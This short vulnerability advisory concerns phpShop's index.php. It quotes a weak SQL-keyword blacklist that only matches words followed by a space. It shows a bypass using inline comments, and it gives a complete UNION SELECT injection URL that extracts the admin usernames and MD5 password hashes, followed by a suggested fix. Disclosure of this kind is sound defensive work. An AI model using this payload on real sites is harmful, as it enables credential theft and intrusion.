Vulnerable Code in index.php near lines 98 - 128
[code]
// basic SQL inject detection
$my_insecure_array = array('keyword' => $_REQUEST['keyword'],
'category_id' => $_REQUEST['category_id'],
'product_id' => $_REQUEST['product_id'],
'user_id' => $_REQUEST['user_id'],
'user_info_id' => $_REQUEST['user_info_id'],
'page' => $_REQUEST['page'],
'func' => $_REQUEST['func']);

while(list($key,$value)=each($my_insecure_array)) {
if (stristr($value,'FROM ') ||
stristr($value,'UPDATE ') ||
stristr($value,'WHERE ') ||
stristr($value,'ALTER ') ||
stristr($value,'SELECT ') ||
stristr($value,'SHUTDOWN ') ||
stristr($value,'CREATE ') ||
stristr($value,'DROP ') ||
stristr($value,'DELETE FROM') ||
stristr($value,'script') ||
stristr($value,'<>') ||
stristr($value,'=') ||
stristr($value,'SET '))
die('Please provide a permitted value for '.$key);
}
[/code]

The script check if $my_insecure_array contain 'SELECT ','UPDATE ' …etc

so WORD+space, and this can be easily bypassed using comments like
POC : select/**/input1,input2…

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&amp;product_id=-3&#39;+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*

Solution :
simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
